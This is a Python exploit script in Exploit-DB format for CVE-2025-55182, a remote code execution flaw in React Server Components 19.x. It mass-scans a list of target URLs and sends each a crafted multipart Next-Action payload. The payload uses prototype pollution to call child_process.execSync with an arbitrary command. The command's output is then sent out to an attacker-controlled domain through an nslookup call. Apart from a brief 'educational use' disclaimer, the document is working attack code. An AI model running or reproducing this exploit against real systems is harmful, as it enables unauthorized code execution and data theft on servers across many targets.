React Server 19.2.0 – Remote Code Execution
# Exploit Title: React Server 19.2.0 - Remote Code Execution # Date: 2025-12-05 # Exploit Author: [EynaExp] (https://github.com/EynaExp) # Vendor Homepage: https://react.dev # Software Link: https://react.dev/reference/rsc/server-components # Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0] # Tested on: Windows,Linux # CVE : CVE-2025-55182 import requests import urllib3 from concurrent.futures import ThreadPoolExecutor, as_completed import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Color definitions class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' END = '\033[0m' print(""" ███████╗██╗ ██╗███╗ ██╗ █████╗ ███████╗██╗ ██╗██████╗ ██╔════╝╚██╗ ██╔╝████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗ ██║ ╚████╔╝ ██╔██╗ ██║███████║█████╗ ╚███╔╝ ██████╔╝ ██║ ╚██╔╝ ██║╚██╗██║██╔══██║██╔══╝ ██╔██╗ ██╔═══╝ ╚███████╗ ██║ ██║ ╚████║██║ ██║███████╗██╔╝ ██╗██║ ╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ CVE-2025-55182 Proof of Concept by EynaExp GitHub: https://github.com/EynaExp """) print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}") class NoUsageParser(argparse.ArgumentParser): def error(self, message): # completely suppress argparse usage print(f"Error: {message}") raise SystemExit(1) parser = NoUsageParser(description="EynaExp Scanner") parser.add_argument('-d', required=True) parser.add_argument('-l', required=True) parser.add_argument('-c', required=True) print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n") args = parser.parse_args() dns_endpoint = args.d.strip() targets_file_path = args.l.strip() CMD = args.c.strip() headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "Next-Action": "x", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" } request_body = ( "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" "Content-Disposition: form-data; name=\"0\"\r\n\r\n" "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1," "\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\"," "\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\"," "\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n" "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" "Content-Disposition: form-data; name=\"1\"\r\n\r\n" "\"$@0\"\r\n" "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n" ) def send_request(target_url): try: response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False) result_message = f"{Colors.GREEN}[+] {target_url} -> {response.status_code} ({len(response.content)} bytes){Colors.END}" for header_key in ["x-action", "next-action", "rsc"]: if header_key in response.headers: result_message += f"\n{Colors.BLUE} header match: {header_key} = {response.headers.get(header_key)}{Colors.END}" return result_message except Exception as exception: return f"{Colors.RED}[-] {target_url} -> error: {exception}{Colors.END}" with open(targets_file_path) as file_handle: target_urls = [line.strip() for line in file_handle if line.strip()] print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)} targets — starting multi-thread scan...{Colors.END}\n") with ThreadPoolExecutor(max_workers=30) as executor: futures = {executor.submit(send_request, url): url for url in target_urls} for future in as_completed(futures): print(future.result()) |